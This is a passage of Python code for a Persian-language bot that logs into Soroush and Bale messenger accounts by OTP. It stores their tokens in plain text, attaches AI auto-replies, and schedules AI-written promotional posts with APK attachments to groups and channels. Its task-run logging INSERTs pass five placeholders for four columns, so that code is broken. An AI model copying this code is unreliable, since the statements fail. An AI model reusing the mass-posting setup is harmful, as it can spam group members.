        log_event(uid, "ACCOUNT_ADDED", "soroush")
        return True, me or result
    except Exception as e:
        msg = _mask(str(e))
        if "PhoneNumberUnoccupied" in msg:
            msg = "شماره در پاسخ سرور سروش برای ورود ثبت‌شده تشخیص داده نشد (PhoneNumberUnoccupied)."
        return False, msg


SERVICE_HANDLERS["soroush"] = {"send": _wrap_otp_handler("soroush", soroush_send_code_v6), "verify": soroush_verify_v6}


# ---------- Bale login/session: use current bale-sdk auth + persistent access token ----------
async def bale_send_code_v6(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        from bale import auth as bale_auth
        digits = int(re.sub(r"\D", "", phone))
        session = bale_auth.start_phone_auth(digits)
        session = await _trx_maybe_await(session)
        tx = getattr(session, "transaction_hash", None)
        if tx is None and isinstance(session, dict):
            tx = session.get("transaction_hash") or session.get("transactionHash")
        if not tx:
            raise RuntimeError(f"Bale auth returned no transaction_hash: {session}")
        active_clients[uid] = {"client": None, "service": "bale", "phone": phone, "transaction_hash": tx,
                               "bale_auth_session": session, "created_at": time.time()}
        return True, session
    except Exception as e:
        return False, _mask(str(e))


async def bale_verify_v6(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "bale" or not info.get("transaction_hash"):
        return False, "نشست OTP بله پیدا نشد؛ شماره را دوباره وارد کنید."
    try:
        from bale import auth as bale_auth, BaleClient
        result = bale_auth.validate_code(info["transaction_hash"], str(code).strip())
        result = await _trx_maybe_await(result)
        token = getattr(result, "access_token", None)
        if token is None and isinstance(result, dict):
            token = result.get("access_token") or result.get("accessToken")
        if not token:
            return False, "کد دریافت شد ولی access_token بله برنگشت."
        client = BaleClient(token)
        await _trx_connect_client(client)
        me_fn = getattr(client, "get_me", None)
        me = await _trx_maybe_await(me_fn()) if me_fn else None
        if me is None:
            return False, "ورود بله انجام شد ولی get_me موفق نبود."
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "bale", info["phone"], str(token), "online", now())
        )
        aid = cur.lastrowid
        ai_live_clients[(uid, aid)] = client
        active_clients[uid] = {"client": client, "service": "bale", "phone": info["phone"],
                                "connected": True, "account_id": aid, "token": token}
        if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, aid)):
            _register_ai_handler(client, uid, "bale", aid)
        log_account_activity(aid, uid, "login", "bale", 1)
        log_event(uid, "ACCOUNT_ADDED", "bale")
        return True, me
    except Exception as e:
        return False, _mask(str(e))


SERVICE_HANDLERS["bale"] = {"send": _wrap_otp_handler("bale", bale_send_code_v6), "verify": bale_verify_v6}


# ---------- Fixed self-test: no more 'no peer found for \'me\'' on Bale ----------
async def _ai_send_test(uid, aid):
    r = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
    if not r:
        return False, "اکانت پیدا نشد."
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, "کلاینت زنده این اکانت برقرار نشد."
    text_test = f"🤖 TRX AI TEST\n\n✅ Account #{aid}\n🕒 {now()}"
    try:
        send = getattr(client, "send_message", None)
        if not send:
            return False, "این کلاینت send_message ندارد."
        target = "me"
        if r["service"] == "bale":
            get_me = getattr(client, "get_me", None)
            me = await _trx_maybe_await(get_me()) if get_me else None
            if me is None:
                return False, "Bale get_me() نتیجه نداد."
            target = me
        try:
            result = send(target, text_test)
            await _trx_maybe_await(result)
        except Exception:
            # Soroush/Rubpy can accept numeric self id more reliably than the literal string.
            get_me = getattr(client, "get_me", None)
            me = await _trx_maybe_await(get_me()) if get_me else None
            me_id = getattr(me, "id", None) or (me.get("id") if isinstance(me, dict) else None)
            if me_id is None:
                raise
            result = send(me_id, text_test)
            await _trx_maybe_await(result)
        db.execute("UPDATE ai_bindings SET test_sent_at=?,updated_at=? WHERE account_id=? AND user_id=?",
                   (now(), now(), aid, uid))
        log_account_activity(aid, uid, "ai_test", "self", 1)
        return True, "پیام TEST با موفقیت به Saved/Self ارسال شد."
    except Exception as e:
        log_account_activity(aid, uid, "ai_test", "self", 0)
        return False, _mask(str(e))


# ---------- Robust AI stats ----------
def _ai_stats_text_v6(uid, lang="fa"):
    try:
        total = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
        ok = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND success=1", (uid,))["c"]
        accounts = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
        replies = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=? AND action='ai_reply' AND success=1", (uid,))["c"]
        tasks = db.fetchone("SELECT COUNT(*) c FROM ai_tasks WHERE user_id=? AND enabled=1", (uid,))["c"]
        mem = db.fetchone("SELECT COUNT(*) c FROM ai_memory WHERE user_id=?", (uid,))["c"]
        prompt_ok = bool(_trx_ai_get_prompt(uid).strip())
        kb_ok = bool(_trx_ai_get_kb(uid).strip())
        providers = db.fetchone("SELECT COUNT(*) c FROM ai_providers WHERE api_key!='' AND status!='disabled'", ())["c"]
        if lang == "en":
            return trx_sc(
                "📊 **AI Stats**\n\n"
                f"🤖 Bound accounts: {accounts}\n✅ Successful AI calls: {ok}\n📨 Total AI calls: {total}\n"
                f"💬 Auto replies: {replies}\n⏱ Scheduled tasks: {tasks}\n🧠 Memory turns: {mem}\n"
                f"📦 Product knowledge: {'READY' if kb_ok else 'EMPTY'}\n📝 Campaign prompt: {'READY' if prompt_ok else 'EMPTY'}\n"
                f"🔌 Providers: {providers}\n{TRX_DECOR}"
            )
        return (
            "📊 **آمار دقیق AI**\n\n"
            f"🤖 اکانت‌های متصل: **{accounts}**\n✅ درخواست موفق AI: **{ok}**\n📨 کل درخواست‌ها: **{total}**\n"
            f"💬 پاسخ‌های خودکار: **{replies}**\n⏱ تسک‌های زمان‌بندی‌شده: **{tasks}**\n🧠 نوبت‌های حافظه: **{mem}**\n"
            f"📦 دانش محصول: **{'آماده' if kb_ok else 'خالی'}**\n📝 پرامپت کمپین: **{'آماده' if prompt_ok else 'خالی'}**\n"
            f"🔌 Providerهای فعال: **{providers}**\n{TRX_DECOR}"
        )
    except Exception as e:
        log.error(f"AI stats v6: {e}\n{traceback.format_exc(limit=40)}")
        return "⚠️ محاسبه آمار AI با خطا مواجه شد؛ مشکل در لاگ ثبت شد."


# ---------- Banner as one real panel message, never a second standalone photo ----------
async def _trx_delete_message(chat_id, msg_id):
    try:
        return await bot.call("deleteMessage", chat_id=chat_id, message_id=msg_id)
    except Exception:
        return {"ok": False}


async def _trx_send_panel(chat_id, text_value, kb, slot=None, lang="fa"):
    banner = None
    if slot:
        banner = db.fetchone("SELECT * FROM banners WHERE slot=? AND enabled=1 AND image_file_id!=''", (slot,))
    caption = (text_value or "")[:1024]
    if banner:
        return await bot.send_photo(chat_id, banner["image_file_id"], caption=caption, reply_markup=kb)
    return await bot.send(chat_id, text_value, reply_markup=kb)


async def _trx_render_callback_panel(chat_id, msg_id, text_value, kb, slot=None, lang="fa"):
    banner = db.fetchone("SELECT * FROM banners WHERE slot=? AND enabled=1 AND image_file_id!=''", (slot,)) if slot else None
    if not banner:
        return await _edit(chat_id, msg_id, text_value, kb)
    # A text message cannot be converted to media through editMessageMedia, so remove it and
    # replace it with exactly one photo+caption panel. No second delayed banner is sent.
    await _trx_delete_message(chat_id, msg_id)
    return await bot.send_photo(chat_id, banner["image_file_id"], caption=(text_value or "")[:1024], reply_markup=kb)


# ---------- Localized main/AI/admin UI ----------
def _trx_service_name(lang, svc):
    if lang == "en":
        return {"rubika": "Rubika", "soroush": "Soroush Plus", "bale": "Bale"}.get(svc, str(svc))
    return {"rubika": "روبیکا", "soroush": "سروش پلاس", "bale": "بله"}.get(svc, str(svc))


def main_menu(lang, uid):
    if lang == "en":
        rows = [
            [(trx_sc("🏠 Dashboard"), "dash", "primary")],
            [(trx_sc("👤 Profile"), "prof", "danger"), (trx_sc("💳 Subscription"), "sub", "primary")],
            [(trx_sc("📱 Accounts"), "acc", "success"), (trx_sc("🤖 AI"), "ai", "primary")],
            [(trx_sc("📦 APK"), "apk", "danger"), (trx_sc("📊 Reports"), "rep", "primary")],
            [(trx_sc("📚 Tutorial"), "tut", "success"), (trx_sc("⚙️ Settings"), "set", "primary")],
        ]
        if is_admin(uid):
            rows.append([(trx_sc("🛡 Admin"), "admin", "danger")])
        return IKB(rows)
    return main_menu_v5(lang, uid)


def _trx_account_service_kb(lang):
    if lang == "en":
        return IKB([
            [(trx_sc("🔵 Rubika"), "acc.svc:rubika", "primary"), (trx_sc("🔴 Soroush Plus"), "acc.svc:soroush", "danger")],
            [(trx_sc("🟡 Bale"), "acc.svc:bale", "primary"), (trx_sc("🟢 Back"), "menu", "success")],
        ])
    return _account_service_kb_v5(lang)


def ai_advanced_menu(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
    tasks = db.fetchone("SELECT COUNT(*) c FROM ai_tasks WHERE user_id=? AND enabled=1", (uid,))["c"]
    kb_ok = bool(_trx_ai_get_kb(uid).strip())
    prompt_ok = bool(_trx_ai_get_prompt(uid).strip())
    if lang == "en":
        return IKB([
            [((trx_sc("🔴 Disable AI") if is_on else trx_sc("🟢 Enable AI")), "ai.tog", "danger" if is_on else "success")],
            [(trx_sc("🧠 Product Knowledge"), "ai.kb", "primary"), (trx_sc("📝 Campaign Prompt"), "ai.prompt", "primary")],
            [(trx_sc("🎭 Response Tone"), "ai.tone", "danger"), (trx_sc("📊 AI Stats"), "ai.stats", "primary")],
            [(trx_sc("🔗 AI Accounts") + f" ({bindings})", "ai.bindings", "success")],
            [(trx_sc("💬 Private Auto-Reply"), "ai.pv", "primary"), (trx_sc("👥 Group Reply"), "ai.group", "primary")],
            [(trx_sc("📰 Channel Scheduler"), "ai.channel", "danger"), (trx_sc("⏱ Scheduled Tasks") + f" ({tasks})", "ai.tasks", "primary")],
            [(trx_sc("🎯 KB: ") + (trx_sc("READY") if kb_ok else trx_sc("EMPTY")) + " | " + trx_sc("PROMPT: ") + (trx_sc("READY") if prompt_ok else trx_sc("EMPTY")), "ai.info", "primary")],
            [(trx_sc("🏠 Home"), "menu", "primary")],
        ])
    return IKB([
        [("🔴 خاموش کردن AI" if is_on else "🟢 روشن کردن AI", "ai.tog", "danger" if is_on else "success")],
        [("🧠 دانش محصول", "ai.kb", "primary"), ("📝 پرامپت کمپین", "ai.prompt", "primary")],
        [("🎭 لحن پاسخ", "ai.tone", "danger"), ("📊 آمار دقیق AI", "ai.stats", "primary")],
        [(f"🔗 اتصال AI به اکانت ({bindings})", "ai.bindings", "success")],
        [("💬 پاسخ خودکار PV", "ai.pv", "primary"), ("👥 پاسخ در گروه", "ai.group", "primary")],
        [("📰 زمان‌بندی کانال", "ai.channel", "danger"), (f"⏱ تسک‌های زمان‌بندی ({tasks})", "ai.tasks", "primary")],
        [(f"🎯 دانش: {'آماده' if kb_ok else 'خالی'} | پرامپت: {'آماده' if prompt_ok else 'خالی'}", "ai.info", "primary")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])


def ai_manage_kb(aid, lang="fa"):
    r = db.fetchone("SELECT * FROM ai_bindings WHERE account_id=?", (aid,))
    if lang == "en":
        return IKB([
            [(trx_sc("🧪 Test Self"), f"ai.bind.test:{aid}", "success")],
            [((trx_sc("🔴 Disable AI") if r and r["enabled"] else trx_sc("🟢 Enable AI")), f"ai.bind.toggle:{aid}", "danger" if r and r["enabled"] else "success")],
            [((trx_sc("🔴 Disable PV") if r and r["auto_reply_pv"] else trx_sc("🟢 Enable PV")), f"ai.bind.pv:{aid}", "danger" if r and r["auto_reply_pv"] else "success")],
            [((trx_sc("🔴 Disable Group") if r and r["auto_reply_group"] else trx_sc("🟢 Enable Group")), f"ai.bind.group:{aid}", "danger" if r and r["auto_reply_group"] else "success")],
            [(trx_sc("🗑 Remove AI Binding"), f"ai.bind.del:{aid}", "danger")],
            [(trx_sc("↩️ Back"), "ai.bindings", "primary")],
        ])
    return IKB([
        [("🧪 TEST در Saved/Self", f"ai.bind.test:{aid}", "success")],
        [(("🔴 خاموش AI" if r and r["enabled"] else "🟢 روشن AI"), f"ai.bind.toggle:{aid}", "danger" if r and r["enabled"] else "success")],
        [(("🔴 خاموش پاسخ PV" if r and r["auto_reply_pv"] else "🟢 روشن پاسخ PV"), f"ai.bind.pv:{aid}", "danger" if r and r["auto_reply_pv"] else "success")],
        [(("🔴 خاموش پاسخ گروه" if r and r["auto_reply_group"] else "🟢 روشن پاسخ گروه"), f"ai.bind.group:{aid}", "danger" if r and r["auto_reply_group"] else "success")],
        [("🗑 حذف اتصال AI", f"ai.bind.del:{aid}", "danger")],
        [("↩️ بازگشت", "ai.bindings", "primary")],
    ])


# ---------- Safe channel/group task helpers ----------
def _trx_task_payload(task):
    try:
        return json.loads(task["meta_json"] or "{}")
    except Exception:
        return {}


async def _trx_generate_campaign(uid: int, aid: int, target_type: str):
    context = "Create one concise promotional post for a channel." if target_type == "channel" else "Create one concise, relevant group post only when posting rights exist."
    prompt = _trx_ai_system(uid, aid, "scheduled_content", context)
    result = await ai.chat(
        [{"role": "system", "content": prompt},
         {"role": "user", "content": "Analyze the product knowledge and campaign rules, then create a fresh promotional message for this target. Do NOT copy the campaign prompt verbatim. Vary wording and angle naturally while preserving only verified facts."}],
        uid=uid, account_id=aid, action_type="scheduled_content", temperature=0.8, max_tokens=500
    )
    return result


async def _trx_run_task(task):
    uid, aid = task["user_id"], task["account_id"]
    target_type, target = task["task_type"], task["target"]
    payload = _trx_task_payload(task)
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("AI account is not connected")
    # Only scheduled posts to an explicit group/channel target are allowed here.
    # No list-based unsolicited private messaging is implemented.
    content = await _trx_generate_campaign(uid, aid, target_type)
    if not content:
        raise RuntimeError("AI returned no content")
    result = getattr(client, "send_message", None)
    if not result:
        raise RuntimeError("account client has no send_message")
    sent = result(target, content[:3500])
    await _trx_maybe_await(sent)
    if payload.get("send_apk") and payload.get("apk_id"):
        ok, info = await _trx_send_apk(uid, aid, target, int(payload["apk_id"]))
        if not ok:
            raise RuntimeError(f"APK send failed: {info}")
    now_s = now()
    db.execute("UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?", (now_s, now_s, task["id"]))
    db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?,?)", (task["id"], 1, "ok", now_s))
    return True


async def _trx_scheduler_loop():
    while True:
        try:
            await asyncio.sleep(15)
            if db is None or bot is None or not getattr(bot, "running", False):
                continue
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1")
            ts = time.time()
            for task in rows:
                last = task["last_run"]
                interval = max(600, int(task["interval_seconds"] or 1800))
                due = True
                if last:
                    try:
                        due = (datetime.fromisoformat(last).timestamp() + interval) <= ts
                    except Exception:
                        due = True
                if not due:
                    continue
                try:
                    await _trx_run_task(task)
                except Exception as e:
                    log.warning(f"AI task #{task['id']} failed: {e}")
                    try:
                        db.execute("UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?", (now(), now(), task["id"]))
                        db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?,?)", (task["id"], 0, str(e)[:1000], now()))
                    except Exception:
                        pass
        except asyncio.CancelledError:
            return
        except Exception as e:
            log.warning(f"AI scheduler loop: {e}")


_TRX_ORIGINAL_MAIN = main

async def main():
    scheduler = asyncio.create_task(_trx_scheduler_loop())
    try:
        await _TRX_ORIGINAL_MAIN()
    finally:
        scheduler.cancel()
        try:
            await scheduler
        except asyncio.CancelledError:
            pass


# ---------- Final message-state router ----------
_TRX_PREVIOUS_ON_MSG = on_msg

async def on_msg(msg):
    from_ = msg.get("from", {}) or {}
    uid = from_.get("id")
    chat_id = msg.get("chat", {}).get("id")
    if not uid:
        return
    lang = (ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))["lang"] or "fa")
    txt = (msg.get("text") or "").strip()
    try:
        s = state.get(uid)
        if s and s.get("state") == State.ADD_PROVIDER_NAME:
            if not is_admin(uid):
                return await bot.send(chat_id, t(lang, "no_access"))
            name = txt[:80].strip()
            if not re.match(r"^[A-Za-z0-9_.-]{2,80}$", name):
                return await bot.send(chat_id, "❌ نام API فقط از حروف انگلیسی، عدد، _، - و . استفاده کند.")
            state.set(uid, State.ADD_PROVIDER_KEY, provider_name=name)
            return await bot.send(chat_id, "🔑 کلید API را ارسال کنید:\nبرای حذف دوباره با /cancel لغو کنید.", reply_markup=IKB([[('❌ لغو','cancel','danger')]]))
        if s and s.get("state") == State.ADD_PROVIDER_KEY:
            if txt == "/cancel":
                state.pop(uid); return await bot.send(chat_id, t(lang, "cancelled"), reply_markup=admin_apis_menu(lang))
            key_value = txt.strip()
            if len(key_value) < 8:
                return await bot.send(chat_id, "❌ کلید API خیلی کوتاه است؛ کلید کامل را ارسال کنید.")
            state.set(uid, State.ADD_PROVIDER_URL, provider_name=s.get("provider_name"), api_key=key_value, step="url")
            return await bot.send(chat_id, "🌐 Base URL را ارسال کنید.\nمثال: `https://api.groq.com/openai/v1`\nیا `/skip` برای تشخیص خودکار.")
        if s and s.get("state") == State.ADD_PROVIDER_URL:
            if txt == "/cancel":
                state.pop(uid); return await bot.send(chat_id, t(lang, "cancelled"), reply_markup=admin_apis_menu(lang))
            # Optional model step after URL.
            if s.get("step") == "url":
                state.set(uid, State.ADD_PROVIDER_URL, provider_name=s.get("provider_name"), api_key=s.get("api_key"),
                          base_url=txt, step="model")
                return await bot.send(chat_id, "🧠 Model name را بفرستید یا `/skip` بزنید تا مدل پیش‌فرض انتخاب شود.")
            model_input = txt
            name = s["provider_name"]
            key_value = s["api_key"]
            url_value = s["base_url"]
            # Finalize here, then replace the model if user provided one.
            ok, result_text = await _trx_provider_finalize(uid, name, key_value, url_value)
            if ok and model_input != "/skip":
                row = db.fetchone("SELECT id FROM ai_providers WHERE name=?", (name,))
                if row:
                    db.execute("UPDATE ai_providers SET model=?,status='unknown' WHERE id=?", (model_input[:120], row["id"]))
                    ok2, info2 = await ai.test(row["id"])
                    result_text += "\n\n" + ("✅ Model test OK." if ok2 else f"⚠️ Model test failed: {str(info2)[:500]}")
            state.pop(uid)
            return await bot.send(chat_id, result_text, reply_markup=admin_apis_menu(lang))
        if s and s.get("state") == State.EDIT_KB:
            mode = s.get("mode", "kb")
            if mode == "prompt":
                await _trx_campaign_save(uid, txt[:5000])
                state.pop(uid)
                return await bot.send(chat_id, "✅ Campaign prompt ذخیره شد.", reply_markup=ai_advanced_menu(lang, uid))
            db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (f"kb:{uid}", txt[:5000]))
            state.pop(uid)
            return await bot.send(chat_id, "✅ دانش محصول ذخیره شد.", reply_markup=ai_advanced_menu(lang, uid))
        if s and s.get("state") in {State.AI_TASK_TARGET, State.AI_CHANNEL_NAME, State.AI_GROUP_LINK}:
            mode = s.get("mode")
            if mode in {"channel_task", "group_task"}:
                target = txt
                if not target or target.startswith("/"):
                    return await bot.send(chat_id, "❌ لینک/شناسه هدف را ارسال کنید.")
                state.set(uid, State.AI_TASK_INTERVAL, **{k:v for k,v in s.items() if k not in {"state","at"}}, target=target, step="interval")
                return await bot.send(chat_id, "⏱ فاصله ارسال را به دقیقه بفرستید (حداقل ۱۰ دقیقه).")
        if s and s.get("state") == State.AI_TASK_INTERVAL:
            if s.get("step") == "interval":
                try:
                    minutes = int(txt)
                except Exception:
                    return await bot.send(chat_id, "❌ یک عدد صحیح وارد کنید.")
                if minutes < 10:
                    return await bot.send(chat_id, "❌ حداقل فاصله ۱۰ دقیقه است.")
                s2 = dict(s); s2.pop("state", None); s2.pop("at", None)
                state.set(uid, State.AI_TASK_APK, **s2, interval_seconds=minutes*60, step="apk")
                return await bot.send(chat_id, "📦 APK هم همراه پست ارسال شود؟ پاسخ بده: yes/no")
        if s and s.get("state") == State.AI_TASK_APK:
            if s.get("step") == "apk":
                val = txt.lower()
                if val not in {"yes","no","بله","خیر"}:
                    return await bot.send(chat_id, "❌ فقط yes/no یا بله/خیر.")
                send_apk = val in {"yes","بله"}
                s2 = dict(s); s2.pop("state", None); s2.pop("at", None)
                if send_apk:
                    apks = await _trx_apk_rows(uid)
                    if not apks:
                        send_apk = False
                        s2["apk_id"] = None
                    else:
                        # Put the first active APK into the task; user can change it from the APK panel.
                        s2["apk_id"] = apks[0]["id"]
                payload = {"send_apk": send_apk, "apk_id": s2.get("apk_id")}
                target = s2["target"]
                task_type = "channel" if s2.get("mode") == "channel_task" else "group"
                cur = db.execute(
                    "INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json) "
                    "VALUES(?,?,?,?,?,?,?,?,?,?)",
                    (uid, s2["account_id"], task_type, target, s2["interval_seconds"], "", 1, now(), now(), json.dumps(payload))
                )
                state.pop(uid)
                return await bot.send(chat_id, f"✅ تسک {task_type} فعال شد.\n🎯 {target}\n⏱ {s2['interval_seconds']//60} دقیقه\n📦 APK: {'ON' if send_apk else 'OFF'}",
                                      reply_markup=ai_advanced_menu(lang, uid))
        if s and s.get("state") == State.AI_CHANNEL_NAME and s.get("mode") == "prompt_only":
            pass
    except Exception as e:
        log.error(f"TRX v6 on_msg state: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX_PREVIOUS_ON_MSG(msg)


# ---------- Final callback router: AI, language, banners, API and account binding ----------
_TRX_PREVIOUS_DISPATCH = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        if (data == "admin" or data.startswith("adm.")) and not is_admin(uid):
            return await _edit(chat_id, msg_id, t(lang, "no_access"), back_home(lang))

        # Top-level panels are rendered as one message with the configured banner.
        if data == "menu":
            return await _trx_render_callback_panel(chat_id, msg_id, t(lang, "welcome"), main_menu(lang, uid), "main_menu", lang)
        if data == "ai":
            return await _trx_render_callback_panel(chat_id, msg_id,
                "🤖 **" + (trx_sc("AI Panel") if lang == "en" else "پنل هوش مصنوعی") + "**\n\n" + (trx_sc("Live account AI with memory, tone and scheduled content.") if lang == "en" else "AI روی اکانت‌های متصل، با حافظه، لحن و محتوای زمان‌بندی‌شده."),
                ai_advanced_menu(lang, uid), "ai_panel", lang)
        if data == "acc":
            txt_acc = trx_sc("📱 **Accounts**\n\nChoose a platform.") if lang == "en" else "📱 **مدیریت حساب‌ها**\n\nسرویس مورد نظر را انتخاب کنید."
            return await _trx_render_callback_panel(chat_id, msg_id, txt_acc, _trx_account_service_kb(lang), "accounts", lang)
        if data == "ai.stats":
            return await _trx_render_callback_panel(chat_id, msg_id, _ai_stats_text_v6(uid, lang), back_home(lang) if lang == "fa" else IKB([[(trx_sc("↩️ Back"), "ai", "primary")]]), "ai_panel", lang)
        if data == "ai.info":
            return await _trx_render_callback_panel(chat_id, msg_id,
                (trx_sc(f"🎯 AI is {'ON' if db.fetchone('SELECT ai_enabled FROM users WHERE user_id=?',(uid,))[0] else 'OFF'}\n🧠 KB: {'READY' if _trx_ai_get_kb(uid).strip() else 'EMPTY'}\n📝 Prompt: {'READY' if _trx_ai_get_prompt(uid).strip() else 'EMPTY'}") if lang == "en" else "ℹ️ **وضعیت AI**\n\nتنظیمات دانش، پرامپت، لحن، اکانت و تسک‌های زمان‌بندی‌شده از همین بخش اعمال می‌شود."),
                ai_advanced_menu(lang, uid), "ai_panel", lang)
        if data == "ai.prompt":
            state.set(uid, State.EDIT_KB, mode="prompt")
            current = _trx_ai_get_prompt(uid)
            msg = (trx_sc("📝 Campaign Prompt\n\nSend the full product/campaign rules AI must follow everywhere.\n\nCurrent:\n") + current[:1000]) if lang == "en" else ("📝 **پرامپت کمپین**\n\nپرامپت کامل محصول، ویژگی‌ها، محدودیت‌ها و نحوه پاسخ AI را ارسال کنید تا در PV، گروه و کانال مشترک استفاده شود.\n\nفعلی:\n" + (current[:1000] or "—"))
            return await _edit(chat_id, msg_id, msg, IKB([[(trx_sc("❌ Cancel"), "cancel", "danger")]] if lang == "en" else [[("❌ لغو", "cancel", "danger")]]))
        if data == "ai.kb":
            state.set(uid, State.EDIT_KB, mode="kb")
            current = _trx_ai_get_kb(uid)
            msg = (trx_sc("🧠 Product Knowledge\n\nSend the exact product facts, APK details, price, links and rules.\n\nCurrent:\n") + current[:1000]) if lang == "en" else ("🧠 **دانش محصول**\n\nاطلاعات دقیق APK، قابلیت‌ها، قیمت، لینک و محدودیت‌ها را ارسال کنید.\n\nفعلی:\n" + (current[:1000] or "—"))
            return await _edit(chat_id, msg_id, msg, IKB([[(trx_sc("❌ Cancel"), "cancel", "danger")]] if lang == "en" else [[("❌ لغو", "cancel", "danger")]]))
        if data == "ai.pv":
            bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1 AND auto_reply_pv=1", (uid,))["c"]
            msg = (trx_sc("💬 Private Auto-Reply\n\nAI answers people who message this connected account.\n\nBulk unsolicited DM lists are not enabled.\nUse the account-binding buttons to choose an account and enable PV reply.") if lang == "en" else "💬 **پاسخ خودکار PV**\n\nAI به کسانی که به اکانت متصل پیام می‌دهند پاسخ می‌دهد.\n\nپیام‌انبوه ناخواسته به لیست آیدی‌ها فعال نیست. از اتصال اکانت و دکمه پاسخ PV استفاده کنید.")
            kb = IKB([[(trx_sc(f"🔗 Bound PV accounts: {bindings}"), "ai.bindings", "success"),(trx_sc("↩️ Back"), "ai", "primary")]]) if lang == "en" else IKB([[('🔗 اکانت‌های PV فعال: '+str(bindings),'ai.bindings','success'),('↩️ بازگشت','ai','primary')]])
            return await _edit(chat_id, msg_id, msg, kb)
        if data.startswith("ai.tone:"):
            tn = data.split(":",1)[1]
            if tn not in TONE_PROMPT:
                return await bot.answer_cb(cb_id, "Unknown tone", alert=True)
            db.execute("UPDATE users SET tone=? WHERE user_id=?", (tn, uid))
            label = {"friendly_ir":"Friendly IR","formal":"Formal","friendly":"Friendly","tech":"Tech","edu":"Educational","short":"Short"}.get(tn, tn)
            return await _edit(chat_id, msg_id, (trx_sc("✅ Tone saved: "+label) if lang == "en" else f"✅ لحن ذخیره شد: **{label}**"), ai_advanced_menu(lang, uid))
        if data == "ai.tone":
            if lang == "en":
                rows = [[(trx_sc("🇺🇸 Friendly IR"), "ai.tone:friendly_ir", "primary")],[(trx_sc("Formal"), "ai.tone:formal", "primary")],[(trx_sc("Friendly"), "ai.tone:friendly", "primary")],[(trx_sc("Tech"), "ai.tone:tech", "primary")],[(trx_sc("Educational"), "ai.tone:edu", "primary")],[(trx_sc("Short"), "ai.tone:short", "primary")],[(trx_sc("↩️ Back"), "ai", "primary")]]
            else:
                rows = [[("دوستانه ایرانی","ai.tone:friendly_ir","primary")],[("رسمی","ai.tone:formal","primary")],[("دوستانه","ai.tone:friendly","primary")],[("تکنولوژیک","ai.tone:tech","primary")],[("آموزشی","ai.tone:edu","primary")],[("کوتاه و مستقیم","ai.tone:short","primary")],[("↩️ بازگشت","ai","primary")]]
            return await _edit(chat_id, msg_id, trx_sc("🎭 Response Tone") if lang == "en" else "🎭 **انتخاب لحن پاسخ**", IKB(rows))
        if data.startswith("ai.bind.plat:") or data == "ai.bindings" or data.startswith("ai.bind.account:") or data.startswith("ai.bind.test:") or data.startswith("ai.bind.toggle:") or data.startswith("ai.bind.pv:") or data.startswith("ai.bind.group:") or data.startswith("ai.bind.del:"):
            # Re-implement binding routes here so selecting an account immediately restores its live client.
            if data == "ai.bindings":
                rows = _ai_bindings_for_user(uid)
                heading = (trx_sc("🔗 **AI Account Bindings**") if lang == "en" else "🔗 **اتصال AI به اکانت‌ها**")
                kb = IKB([[(trx_sc("🔵 Rubika") if lang == "en" else "🔵 روبیکا", "ai.bind.plat:rubika", "primary")],[(trx_sc("🔴 Soroush Plus") if lang == "en" else "🔴 سروش پلاس", "ai.bind.plat:soroush", "danger")],[(trx_sc("🟡 Bale") if lang == "en" else "🟡 بله", "ai.bind.plat:bale", "primary")],[(trx_sc("↩️ Back") if lang == "en" else "↩️ بازگشت", "ai", "primary")]])
                return await _edit(chat_id, msg_id, heading + "\n\n" + (_ai_binding_text(uid) if lang == "fa" else "Select a platform."), kb)
            if data.startswith("ai.bind.plat:"):
                plat = data.split(":",1)[1]
                rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (uid,plat))
                if not rows:
                    return await _edit(chat_id, msg_id, (trx_sc("No active accounts found.") if lang == "en" else f"❌ هیچ اکانت فعال {_trx_service_name(lang,plat)} پیدا نشد."), _trx_account_service_kb(lang))
                btns=[]
                for a in rows:
                    b=db.fetchone("SELECT enabled FROM ai_bindings WHERE account_id=? AND user_id=?",(a["id"],uid))
                    label=("🟢" if b and b["enabled"] else "⚪")+f" #{a['id']} — {_mask_phone(a['phone'])}"
                    btns.append([(trx_sc(label) if lang == "en" else label, f"ai.bind.account:{a['id']}", "primary")])
                btns.append([(trx_sc("↩️ Back") if lang == "en" else "↩️ بازگشت", "ai.bindings", "primary")])
                return await _edit(chat_id,msg_id,(trx_sc(f"🔗 Select a {plat} account:") if lang == "en" else f"🔗 یک اکانت {_trx_service_name(lang,plat)} را انتخاب کنید:"),IKB(btns))
            if data.startswith("ai.bind.account:"):
                aid=int(data.split(":",1)[1]); a=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
